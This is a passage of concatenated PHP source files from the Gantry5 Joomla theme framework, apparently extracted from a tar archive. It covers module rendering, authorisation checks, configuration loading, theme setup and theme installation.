        return (string)(int) $theme === (string) $theme ?
\JUri::root(false) . 'index.php?templateStyle=' . $theme : null;
    }

    /**
     * Get administrator url for individual theme.
     *
     * @param string $theme
     * @return string
     */
    public function getThemeAdminUrl($theme)
    {
        $token = \JSession::getFormToken();
        return
\JRoute::_("index.php?option=com_gantry5&view=configurations/default/styles&theme={$theme}&{$token}=1"
, false);
    }

    public function filter($text)
    {
        \JPluginHelper::importPlugin('content');
        return \JHtml::_('content.prepare', $text, '',
'mod_custom.content');
    }

    public function countModules($position)
    {
        $document = \JFactory::getDocument();
        return ($document instanceof \JDocumentHTML) ?
$document->countModules($position) : 0;
    }

    public function getModules($position)
    {
        // TODO:
        return [];
    }

    public function displayModule($id, $attribs = [])
    {
        $document = \JFactory::getDocument();
        if (!$document instanceof \JDocumentHTML) {
            return '';
        }

        $module = is_object($id) ? $id : $this->getModule($id);

        // Make sure that module really exists.
        if (!is_object($module)) {
            return '';
        }

        $isGantry = \strpos($module->module, 'gantry5') !==
false;
        $content = isset($module->content) ? $module->content : null;

        $renderer = $document->loadRenderer('module');

        $html = trim($renderer->render($module, $attribs));

        // Add frontend editing feature as it has only been defined for
module positions.
        $app = \JFactory::getApplication();
        $user = \JFactory::getUser();

        $frontEditing = ($app->isSite() &&
$app->get('frontediting', 1) && !$user->guest);
        $menusEditing = ($app->get('frontediting', 1) == 2)
&& $user->authorise('core.edit',
'com_menus');

        if (!$isGantry && $frontEditing && $html &&
$user->authorise('module.edit.frontend',
'com_modules.module.' . $module->id)) {
            $displayData = [
                'moduleHtml' => &$html,
                'module' => $module,
                'position' =>
isset($attribs['position']) ? $attribs['position'] :
$module->position,
                'menusediting' => $menusEditing
            ];
           
\JLayoutHelper::render('joomla.edit.frontediting_modules',
$displayData);
        }

        // Work around Joomla "issue" which corrupts content of
custom html module (last checked J! 3.6.5).
        $module->content = $content;

        if ($html && !$isGantry) {
            $this->container['theme']->joomla(true);
            return sprintf($this->module_wrapper, $html);
        }

        return $html;
    }

    public function displayModules($position, $attribs = [])
    {
        $document = \JFactory::getDocument();
        if (!$document instanceof \JDocumentHTML) {
            return '';
        }

        $html = '';
        foreach (\JModuleHelper::getModules($position) as $module) {
            $html .= $this->displayModule($module, $attribs);
        }

        return $html;
    }

    public function displaySystemMessages($params = [])
    {
        // We cannot use JDocument renderer here as it fires too early to
display any messages.
        return '<jdoc:include type="message" />';
    }

    public function displayContent($content, $params = [])
    {
        $document = \JFactory::getDocument();
        if (!$document instanceof \JDocumentHTML) {
            return $content;
        }

        $renderer = $document->loadRenderer('component');

        $html = trim($renderer->render(null, $params, $content ?:
$document->getBuffer('component')));

        $isGantry =
\strpos(\JFactory::getApplication()->input->getCmd('option'),
'gantry5') !== false;

        if ($html && !$isGantry) {
            $this->container['theme']->joomla(true);
            return sprintf($this->component_wrapper, $html);
        }

        return $html;
    }

    public function getModule($id)
    {
        $modules = $this->getModuleList();
        return $id && isset($modules[$id]) ? $modules[$id] : null;
    }

    protected function &getModuleList()
    {
        if ($this->modules === null) {
            $modules = \JModuleHelper::getModuleList();

            $this->modules = [];
            foreach ($modules as $module) {
                $this->modules[$module->id] = $module;
            }
        }
        return $this->modules;
    }

    public function listModules()
    {
        $db = \JFactory::getDbo();
        $query = $db->getQuery(true);

        $query->select('a.id, a.title, a.position, a.module,
a.published AS enabled')
            ->from('#__modules AS a');

        // Join on the asset groups table.
        $query->select('ag.title AS access')
            ->join('LEFT', '#__viewlevels AS ag ON ag.id
= a.access')
            ->where('a.published >= 0')
            ->where('a.client_id = 0')
            ->order('a.position, a.module, a.ordering');

        $db->setQuery($query);

        try {
            $result = $db->loadObjectList();
        } catch (\RuntimeException $e) {
            return false;
        }

        return $result;
    }

    public function getEditor($name, $content = '', $width =
null, $height = null)
    {
        $conf = \JFactory::getConfig();
        $editor = \JEditor::getInstance($conf->get('editor'));
        if (!$height) {
            $height = 250;
        }

        return $editor->display($name, $content, $width, $height, 50, 8,
false, null, null, null, ['html_height' => $height]);
    }

    public function errorHandlerPaths()
    {
        return ['|gantry5|'];
    }

    public function settings()
    {
        if (!$this->authorize('platform.settings.manage')) {
            return '';
        }

        return
\JRoute::_('index.php?option=com_config&view=component&component=com_gantry5',
false);
    }

    public function update()
    {
        return
\JRoute::_('index.php?option=com_installer&view=update',
false);
    }

    public function updates()
    {
        if (!$this->authorize('updates.manage')) {
            return [];
        }

        $styles = ThemeList::getThemes();

        $extension_ids = array_unique(array_map(
            function($item) {
                return (int) $item->extension_id;
            },
            $styles));

        $extension_ids = $extension_ids ? implode(',',
$extension_ids) : '-1';

        $db = \JFactory::getDbo();
        $query = $db->getQuery(true);
        $query
            ->select('*')
            ->from('#__updates')
            ->where("element='pkg_gantry5' OR
extension_id IN ($extension_ids)");

        $db->setQuery($query);

        $updates = $db->loadObjectList();

        $list = [];
        foreach ($updates as $update) {
            if ($update->element === 'pkg_gantry5') {
                // Rename Gantry 5 package.
                $update->name = 'Gantry';
                // Ignore git and CI installs and if the Gantry version is
the same or higher than in the updates.
                if (version_compare(GANTRY5_VERSION, 0) < 0 ||
version_compare($update->version, GANTRY5_VERSION) <= 0) {
                    continue;
                }
            } else {
                // Check if templates need to be updated.
                $version = isset($styles[$update->element]) ?
$styles[$update->element]->get('details.version') : null;
                if (version_compare($version, 0) < 0 ||
version_compare($update->version, $version) <= 0) {
                    continue;
                }
            }
            $list[] = $update->name . ' ' .
$update->version;
        }

        return $list;
    }

    public function factory()
    {
        $args = func_get_args();
        $method = ['JFactory', 'get'. ucfirst((string)
array_shift($args))];
        return method_exists($method[0], $method[1]) ?
call_user_func_array($method, $args) : null;
    }

    public function instance()
    {
        $args = func_get_args();
        $class = ucfirst((string) array_shift($args));
        if (!$class) {
            return null;
        }
        if (class_exists('J'. $class)) {
            $class = 'J'. $class;
        }
        $method = [$class, 'getInstance'];
        return method_exists($method[0], $method[1]) ?
call_user_func_array($method, $args) : null;
    }

    public function route()
    {
        return call_user_func_array(['JRoute', '_'],
func_get_args());
    }

    public function html()
    {
        $args = func_get_args();
        if (isset($args[0]) && method_exists('JHtml',
$args[0])) {
            return call_user_func_array(['JHtml',
array_shift($args)], $args);
        }
        return call_user_func_array(['JHtml', '_'],
$args);
    }

    public function article($keys)
    {
        return Content::getInstance($keys);
    }

    public function finder($domain, $options = null)
    {
        $options = (array) $options;
        switch ($domain) {
            case 'article':
            case 'articles':
            case 'content':
                $finder = new ContentFinder($options);

                return \JFactory::getApplication()->isSite() ?
$finder->authorised() : $finder;
            case 'category':
            case 'categories':
                $finder = (new
CategoryFinder($options))->extension('content');

                return \JFactory::getApplication()->isSite() ?
$finder->authorised() : $finder;
        }

        return null;
    }

    public function truncate($text, $length, $html = false)
    {
        return \JHtml::_('string.truncate', $text, $length, true,
$html);
    }

    public function authorize($action, $id = null)
    {
        $user = \JFactory::getUser();

        switch ($action) {
            case 'platform.settings.manage':
                return $user->authorise('core.admin',
'com_templates') || $user->authorise('core.admin',
'com_gantry5');
            case 'menu.manage':
                return $user->authorise('core.manage',
'com_menus') &&
$user->authorise('core.edit', 'com_menus');
            case 'menu.edit':
                if ($id) {
                    $db = \JFactory::getDbo();
                    $userId = \JFactory::getUser()->id;

                    // Verify that no items are checked out.
                    $query = $db->getQuery(true)
                        ->select('id')
                        ->from('#__menu')
                        ->where('menutype=' .
$db->quote($id))
                        ->where('checked_out !=' . (int)
$userId)
                        ->where('checked_out !=0');
                    $db->setQuery($query);

                    if ($db->loadRowList()) {
                        return false;
                    }

                    // Verify that no module for this menu are checked out.
                    $query->clear()
                        ->select('id')
                        ->from('#__modules')
                        ->where('module=' .
$db->quote('mod_menu'))
                        ->where('params LIKE ' .
$db->quote('%"menutype":' . json_encode($id) .
'%'))
                        ->where('checked_out !=' . (int)
$userId)
                        ->where('checked_out !=0');
                    $db->setQuery($query);

                    if ($db->loadRowList()) {
                        return false;
                    }
                }
                return $user->authorise('core.edit',
'com_menus');
            case 'updates.manage':
                return $user->authorise('core.manage',
'com_installer');
            case 'outline.create':
                return $user->authorise('core.create',
'com_templates');
            case 'outline.delete':
                 return $user->authorise('core.delete',
'com_templates');
            case 'outline.rename':
                return $user->authorise('core.edit',
'com_templates');
            case 'outline.assign':
                return $user->authorise('core.edit.state',
'com_templates') &&
$user->authorise('core.edit', 'com_menu');
            case 'outline.edit':
                return true;
        }

        return true;
    }
}
Gantry/Framework/Positions.php000064400000000765151157471010012457
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework;

use Gantry\Component\Position\Positions as BasePositions;

class Positions extends BasePositions
{
}
Gantry/Framework/Request.php000064400000000753151157471010012115
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework;

use Gantry\Component\Request\Request as BaseRequest;

class Request extends BaseRequest {}
Gantry/Framework/Services/ConfigServiceProvider.php000064400000007551151157471010016514
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Services;

use Gantry\Component\Config\CompiledBlueprints;
use Gantry\Component\Config\CompiledConfig;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Framework\Atoms;
use Pimple\Container;
use Pimple\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class ConfigServiceProvider implements ServiceProviderInterface
{
    public function register(Container $gantry)
    {
        $gantry['blueprints'] = function($c) {
            GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('blueprints', 'Loading
blueprints');

            $blueprints = static::blueprints($c);

            GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer('blueprints');

            return $blueprints;
        };

        $gantry['config'] = function($c) {
            // Make sure configuration has been set.
            if (!isset($c['configuration'])) {
                throw new \LogicException('Gantry: Please set current
configuration before using $gantry["config"]', 500);
            }

            GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('config', 'Loading
configuration');

            // Get the current configuration and lock the value from
modification.
            $outline = $c->lock('configuration');

            $config = static::load($c, $outline);

            GANTRY_DEBUGGER &&
\Gantry\Debugger::setConfig($config)->stopTimer('config');

            return $config;
        };
    }

    public static function blueprints(Container $container)
    {
        /** @var UniformResourceLocator $locator */
        $locator = $container['locator'];

        $cache =
$locator->findResource('gantry-cache://theme/compiled/blueprints',
true, true);

        $files = [];
        $paths =
$locator->findResources('gantry-particles://');
        $files += (new
ConfigFileFinder)->setBase('particles')->locateFiles($paths);
        $paths =
$locator->findResources('gantry-blueprints://');
        $files += (new ConfigFileFinder)->locateFiles($paths);

        $config = new CompiledBlueprints($cache, $files, GANTRY5_ROOT);

        return $config->load();
    }

    public static function load(Container $container, $name =
'default', $combine = true, $withDefaults = true)
    {
        /** @var UniformResourceLocator $locator */
        $locator = $container['locator'];

        $combine = $combine && $name !== 'default';

        // Merge current configuration with the default.
        $uris = $combine ? ["gantry-config://{$name}",
'gantry-config://default'] :
["gantry-config://{$name}"];

        $paths = [];
        foreach ($uris as $uri) {
            $paths = array_merge($paths, $locator->findResources($uri));
        }

        // Locate all configuration files to be compiled.
        $files = (new ConfigFileFinder)->locateFiles($paths);

        $cache =
$locator->findResource('gantry-cache://theme/compiled/config',
true, true);

        if (!$cache) {
            throw new \RuntimeException('Who just removed Gantry 5
cache folder? Try reloading the page if it fixes the issue');
        }

        $compiled = new CompiledConfig($cache, $files, GANTRY5_ROOT);
        $compiled->setBlueprints(function() use ($container) {
            return $container['blueprints'];
        });

        $config = $compiled->load($withDefaults);

        // Set atom inheritance.
        $atoms = $config->get('page.head.atoms');
        if (is_array($atoms)) {
            $config->set('page.head.atoms', (new
Atoms($atoms))->init()->toArray());
        }

        return $config;
    }
}
Gantry/Framework/Services/ErrorServiceProvider.php000064400000004351151157471010016373
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Services;

use Gantry\Component\Whoops\SystemFacade;
use Gantry\Framework\Platform;
use Pimple\Container;
use Pimple\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
use Whoops\Handler\JsonResponseHandler;
use Whoops\Handler\PrettyPageHandler;
use Whoops\Run;
use Whoops\Util\Misc;

class ErrorServiceProvider implements ServiceProviderInterface
{
    protected $format;

    public function __construct($format = 'html')
    {
        $this->format = $format;
    }

    public function register(Container $container)
    {
        /** @var UniformResourceLocator $locator */
        $locator = $container['locator'];

        /** @var Platform $platform */
        $platform = $container['platform'];

        // Setup Whoops-based error handler
        $system = new SystemFacade($platform->errorHandlerPaths());
        $errors = new Run($system);

        $error_page = new PrettyPageHandler;
        $error_page->setPageTitle('Crikey! There was an
error...');
        $error_page->setEditor('sublime');
        foreach
($locator->findResources('gantry-assets://css/whoops.css') as
$path) {
            $error_page->addResourcePath(dirname($path));
        }
        $error_page->addCustomCss('whoops.css');

        $errors->pushHandler($error_page);

        $jsonRequest = $this->format === 'json' || ($_SERVER
&& isset($_SERVER['HTTP_ACCEPT']) &&
$_SERVER['HTTP_ACCEPT'] == 'application/json');
        if (Misc::isAjaxRequest() || $jsonRequest) {
            $json_handler = new JsonResponseHandler;
            //$json_handler->setJsonApi(true);

            $errors->pushHandler($json_handler);
        }

        $errors->register();

        $container['errors'] = $errors;

        if (GANTRY_DEBUGGER &&
method_exists('Gantry\Debugger', 'setErrorHandler')) {
            \Gantry\Debugger::setErrorHandler();
        }
    }
}
Gantry/Framework/Services/StreamsServiceProvider.php000064400000002464151157471010016723
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework\Services;

use Gantry\Component\Filesystem\Streams;
use Pimple\Container;
use RocketTheme\Toolbox\DI\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class StreamsServiceProvider implements ServiceProviderInterface
{
    public function register(Container $gantry)
    {
        $sp = $this;

        $gantry['locator'] = function() use ($sp) {
            return new UniformResourceLocator(GANTRY5_ROOT);
        };
        $gantry['streams'] = function($c) use ($sp) {
            $schemes = (array)
$c['platform']->init()->get('streams');

            /** @var UniformResourceLocator $locator */
            $locator = $c['locator'];

            $streams = new Streams($locator);
            $streams->add($schemes);

            GANTRY_DEBUGGER &&
method_exists('Gantry\Debugger', 'setLocator')
&& \Gantry\Debugger::setLocator($locator);

            return $streams;
        };
    }
}
Gantry/Framework/Site.php000064400000001155151157471010011366
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

class Site
{
    public function __construct()
    {
        $document = \JFactory::getDocument();

        if ($document instanceof \JDocumentHTML) {
            $this->theme = $document->template;
            $this->url = $document->baseurl;
            $this->title = $document->title;
            $this->description = $document->description;
        }
    }
}
Gantry/Framework/Theme.php000064400000014207151157471010011526
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Theme\AbstractTheme;
use Gantry\Component\Theme\ThemeTrait;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Class Theme
 * @package Gantry\Framework
 */
class Theme extends AbstractTheme
{
    use ThemeTrait;

    /**
     * @var bool
     */
    protected $joomla = false;

    /**
     * If parameter is set to true, loads bootstrap. Returns true if
bootstrap has been loaded.
     *
     * @param bool|null $enable
     * @return bool
     */
    public function joomla($enable = null)
    {
        if ($enable && !$this->joomla) {
            $this->joomla = true;

            // Workaround for Joomla! not loading bootstrap when it needs
it.
            $this->gantry()->load('bootstrap.2');
        }

        return $this->joomla;
    }

    /**
     * @see AbstractTheme::extendTwig()
     *
     * @param \Twig_Environment $twig
     * @param \Twig_LoaderInterface $loader
     * @return \Twig_Environment
     */
    public function extendTwig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null)
    {
        parent::extendTwig($twig, $loader);

        /** @var \Twig_Extension_Core $core */
        $core = $twig->getExtension('Twig_Extension_Core');

        // Get user timezone and if not set, use Joomla default.
        $timezone = \JFactory::getUser()->getParam('timezone',
\JFactory::getConfig()->get('offset', 'UTC'));
        $core->setTimezone(new \DateTimeZone($timezone));

        // Set locale for dates and numbers.
        $core->setDateFormat(\JText::_('DATE_FORMAT_LC2'),
\JText::_('GANTRY5_X_DAYS'));
        $core->setNumberFormat(0,
\JText::_('DECIMALS_SEPARATOR'),
\JText::_('THOUSANDS_SEPARATOR'));

        $filter = new \Twig_SimpleFilter('date', [$this,
'twig_dateFilter'], array('needs_environment' =>
true));
        $twig->addFilter($filter);

        return $twig;
    }

    /**
     * Converts a date to the given format.
     *
     * <pre>
     *   {{ post.published_at|date("m/d/Y") }}
     * </pre>
     *
     * @param \Twig_Environment                                 $env
     * @param \DateTime|\DateTimeInterface|\DateInterval|string $date     A
date
     * @param string|null                                       $format  
The target format, null to use the default
     * @param \DateTimeZone|string|null|false                   $timezone
The target timezone, null to use the default, false to leave unchanged
     *
     * @return string The formatted date
     */
    public function twig_dateFilter(\Twig_Environment $env, $date, $format
= null, $timezone = null)
    {
        if (null === $format) {
            $formats =
$env->getExtension('Twig_Extension_Core')->getDateFormat();
            $format = $date instanceof \DateInterval ? $formats[1] :
$formats[0];
        }

        if ($date instanceof \DateInterval) {
            return $date->format($format);
        }

        if (!($date instanceof \JDate)) {
            // Create localized JDate object.
            $twig_date = \twig_date_converter($env, $date, $timezone);

            $date = new \JDate($twig_date->getTimestamp());
            $date->setTimezone($twig_date->getTimezone());
        } elseif ($timezone) {
            $date->setTimezone($timezone);
        }

        return $date->format($format, true);
    }

    /**
     * @see AbstractTheme::getContext()
     *
     * @param array $context
     * @return array
     */
    public function getContext(array $context)
    {
        $gantry = static::gantry();

        $context = parent::getContext($context);
        $context['site'] = $gantry['site'];
        $context['joomla'] = $gantry['platform'];

        return $context;
    }

    /**
     * @see AbstractTheme::init()
     */
    protected function init()
    {
        parent::init();

        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $lang = \JFactory::getLanguage();

        // FIXME: Do not hardcode this file.
        $lang->load('files_gantry5_nucleus', JPATH_SITE);

        if (\JFactory::getApplication()->isSite()) {
            // Load our custom positions file as frontend requires the
strings to be there.
            $filename =
$locator("gantry-theme://language/en-GB/en-GB.tpl_{$this->name}_positions.ini");

            if ($filename) {
                $lang->load("tpl_{$this->name}_positions",
\dirname(\dirname(\dirname($filename))), 'en-GB');
            }

            // Load template language files, including overrides.
            $paths =
$locator->findResources('gantry-theme://language');
            foreach (array_reverse($paths) as $path) {
                $lang->load("tpl_{$this->name}",
\dirname($path));
            }
        }

        $doc = \JFactory::getDocument();
        if ($doc instanceof \JDocumentHtml) {
            $doc->setHtml5(true);
        }
        $this->language = $doc->language;
        $this->direction = $doc->direction;
        $this->url = \JUri::root(true) . '/templates/' .
$this->name;

        \JPluginHelper::importPlugin('gantry5');

        // Trigger the onGantryThemeInit event.
        $dispatcher = \JEventDispatcher::getInstance();
        $dispatcher->trigger('onGantry5ThemeInit',
['theme' => $this]);
    }

    /**
     * Get list of twig paths.
     *
     * @return array
     */
    public static function getTwigPaths()
    {
        /** @var UniformResourceLocator $locator */
        $locator = static::gantry()['locator'];

        return
$locator->mergeResources(['gantry-theme://twig',
'gantry-engine://twig']);
    }

    /**
     * @see AbstractTheme::setTwigLoaderPaths()
     *
     * @param \Twig_LoaderInterface $loader
     * @return \Twig_Loader_Filesystem
     */
    protected function setTwigLoaderPaths(\Twig_LoaderInterface $loader)
    {
        $loader = parent::setTwigLoaderPaths($loader);

        if ($loader) {
            $loader->setPaths($this->getTwigPaths());
        }

        return $loader;
    }
}
Gantry/Framework/ThemeInstaller.php000064400000042612151157471010013405
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Layout\Layout;
use Gantry\Component\Theme\ThemeInstaller as AbstractInstaller;
use Gantry\Joomla\Manifest;
use RocketTheme\Toolbox\File\YamlFile;

class ThemeInstaller extends AbstractInstaller
{
    protected $extension;
    protected $manifest;

    public function __construct($extension = null)
    {
        parent::__construct();

        jimport('joomla.filesystem.folder');

        \JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
        if ($extension instanceof \JInstallerAdapterTemplate) {
            $this->setInstaller($extension);
        } elseif ($extension) {
            $this->loadExtension($extension);
        }
    }

    public function setInstaller(\JInstallerAdapterTemplate $install)
    {
        // We need access to a protected variable $install->extension.
        $reflectionClass = new \ReflectionClass($install);
        $property =
$reflectionClass->getProperty('extension');
        $property->setAccessible(true);
        $this->extension = $property->getValue($install);
        $this->name = $this->extension->name;

        $this->manifest = new Manifest($this->extension->name,
$install->getManifest());

        return $this;
    }

    public function loadExtension($id)
    {
        if ((string) intval($id) !== (string) $id) {
            $id = ['type' => 'template',
'element' => (string) $id, 'client_id' => 0];
        }
        $this->extension = \JTable::getInstance('extension');
        $this->extension->load($id);
        $this->name = $this->extension->name;
    }

    public function getPath()
    {
        return JPATH_SITE . '/templates/' .
$this->extension->name;
    }

    public function getStyleName($title)
    {
        return \JText::sprintf($title,
\JText::_($this->extension->name));
    }

    public function getStyle($name = null)
    {
        if (is_numeric($name)) {
            $field = 'id';
        } else {
            $field = 'title';
            $name = $this->getStyleName($name);
        }

        $style = $this->createStyle();
        $style->load([
            'template' => $this->extension->element,
            'client_id' => $this->extension->client_id,
            $field => $name
        ]);

        return $style;
    }

    public function getDefaultStyle()
    {
        $style = \JTable::getInstance('Style',
'TemplatesTable');
        $style->load(['home' => 1, 'client_id'
=> 0]);

        return $style;
    }

    /**
     * @param string $type
     * @return \JTableMenu
     */
    public function getMenu($type)
    {
        /** @var \JTableMenuType $table */
        $table = \JTable::getInstance('MenuType');
        $table->load(['menutype' => $type]);

        return $table;
    }

    public function createSampleData()
    {
        $this->updateStyle('JLIB_INSTALLER_DEFAULT_STYLE', [],
1);
        $this->installMenus();
    }

    public function render($template, $context = [])
    {
        $token = \JSession::getFormToken();
        $manifest = $this->getManifest();
        $context += [
            'description' => $this->translate((string)
$manifest->get('description')),
            'version' => (string)
$manifest->get('version'),
            'date' => (string)
$manifest->get('creationDate'),
            'author' => [
                'name' => (string)
$manifest->get('author'),
                'email' => (string)
$manifest->get('authorEmail'),
                'url' => (string)
$manifest->get('authorUrl')
            ],
            'copyright' => (string)
$manifest->get('copyright'),
            'license' => (string)
$manifest->get('license'),
            'install_url' =>
\JRoute::_("index.php?option=com_gantry5&view=install&theme={$this->name}&{$token}=1",
false),
            'edit_url' =>
\JRoute::_("index.php?option=com_gantry5&view=configurations/default/styles&theme={$this->name}&{$token}=1",
false),
        ];

        return parent::render($template, $context);
    }

    public function createStyle()
    {
        $style = \JTable::getInstance('Style',
'TemplatesTable');
        $style->reset();
        $style->template = $this->extension->element;
        $style->client_id = $this->extension->client_id;

        return $style;
    }

    public function addStyle($title, array $configuration = [], $home = 0)
    {
        // Make sure language debug is turned off.
        $lang = \JFactory::getLanguage();
        $debug = $lang->setDebug(false);

        // Translate title.
        $title = $this->getStyleName($title);

        // Turn language debug back on.
        $lang->setDebug($debug);

        $data = [
            'home' => (int) $home,
            'title' => $title,
            'params' => json_encode($configuration),
        ];

        $style = $this->createStyle();
        $style->save($data);

        if ($home) {
            $this->actions[] = ['action' =>
'default_style_assigned', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_DEFAULT_STYLE_ASSIGNED',
$title)];
        }

        return $style;
    }

    public function updateStyle($name, array $configuration, $home = null)
    {
        $style = $this->getStyle($name);

        if ($style->id) {
            $home = ($home !== null ? $home : $style->home);
            $params = (array) json_decode($style->params, true);

            $data = [
                'params' => json_encode($configuration +
$params),
                'home' => $home
            ];

            if ($home && !$style->home) {
                $this->actions[] = ['action' =>
'default_style_assigned', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_DEFAULT_STYLE_ASSIGNED',
$style->title)];
            }

            $style->save($data);
        }

        return $style;
    }

    public function assignHomeStyle($style)
    {
        // Update the mapping for menu items that this style IS assigned
to.
        $db = \JFactory::getDbo();

        $query = $db->getQuery(true)
            ->update('#__menu')
            ->set('template_style_id=' . (int) $style->id)
            ->where('home=1')
            ->where('client_id=0');
        $db->setQuery($query);
        $db->execute();

        if ($db->getAffectedRows()) {
            $this->actions[] = ['action' =>
'home_style_assigned', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_HOME_STYLE_ASSIGNED',
$style->title)];
        }
    }

    /**
     * @param string $folder
     * @param array $params
     * @return string|bool
     */
    public function createOutline($folder, array $params = [])
    {
        if (!$folder) {
            throw new \RuntimeException('Cannot create outline without
folder name');
        }

        $this->initialize();

        $created = false;

        $params += [
            'preset' => null,
            'title' => null
        ];

        $title = $params['title'] ?: ucwords(trim(strtr($folder,
['_' => ' '])));
        $preset = $params['preset'] ?: 'default';

        if ($folder[0] !== '_') {
            $title = $this->getStyleName($title !== 'Default'
? "%s - {$title}" : 'JLIB_INSTALLER_DEFAULT_STYLE');
            $style = $this->getStyle($title);

            if (!$style->id) {
                // Only add style if it doesn't exist.
                $style = $this->addStyle($title, ['preset'
=> $preset]);
                $created = true;
            }

            $id = $style->id;

        } else {
            $id = $folder;
        }

        $target = $folder !== 'default' ? $id : $folder;

        // Copy configuration for the new layout.
        if (($this->copyCustom($folder, $target) || $created) &&
isset($style)) {
            // Update layout and save it.
            $layout = Layout::load($target, $preset);
            $layout->save()->saveIndex();

            if ($id !== $target) {
                // Default outline: Inherit everything from the base.
                $layout->inheritAll()->name = $id;
                $layout->save()->saveIndex();

                $this->actions[] = ['action' =>
'base_outline_created', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_BASE_OUTLINE_CREATED',
$title)];
            }

            if ($created) {
                $this->actions[] = ['action' =>
'outline_created', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_CREATED',
$title)];
            } else {
                $this->actions[] = ['action' =>
'outline_updated', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_UPDATED',
$title)];
            }

            // Update preset in Joomla table.
            $this->updateStyle($title, ['preset' =>
$layout['preset']['name']]);
        }

        return $id;
    }

    /**
     * @param  array $item       [menutype, title, alias, link,
template_style_id, params]
     * @param  int   $parent_id  Parent menu id.
     * @param  bool  $load       True if updating existing items.
     * @return int
     * @throws \Exception
     */
    public function addMenuItem(array $item, $parent_id = 1, $load = false)
    {
        $component_id = $this->getComponent();

        $table = \JTable::getInstance('menu');
        $date = new \JDate();
        $update = false;

        // Defaults for the item.
        $item += [
            'menutype' => 'mainmenu',
            'title' => 'Home',
            'alias' => 'gantry5',
            'note' => '',
            'link' =>
'index.php?option=com_gantry5&view=custom',
            'type' => 'component',
            'published' => 1,
            'parent_id' => $parent_id,
            'component_id' => $component_id,
            'checked_out' => 0,
            'checked_out_time' => $date->toSql(),
            'browserNav' => 0,
            'access' => 1,
            'img' => '',
            'template_style_id' => 0,
            'params' => '{}',
            'home' => 0,
            'language' => '*',
            'client_id' => 0
        ];

        if (in_array($item['type'], ['separator',
'heading'])) {
            $item['link'] = '';
        }

        if ($item['type'] !== 'component') {
            $item['component_id'] = 0;
        }

        if ($load) {
            $update = $table->load([
                'menutype' => $item['menutype'],
                'alias' => $item['alias'],
                'parent_id' => $item['parent_id']
            ]);
        }

        $table->setLocation($parent_id, 'last-child');

        if (!$table->bind($item) || !$table->check() ||
!$table->store()) {
            throw new \Exception($table->getError());
        }

        /** @var \JCache|\JCacheController $cache */
        $cache = \JFactory::getCache();
        $cache->clean('mod_menu');

        $menu = \JTable::getInstance('menuType');
        $menu->load(['menutype' =>
$item['menutype']]);

        if
(!isset($this->actions["menu_{$item['menutype']}_created"]))
{
            $postfix = $item['home'] ? '_HOME' :
'';
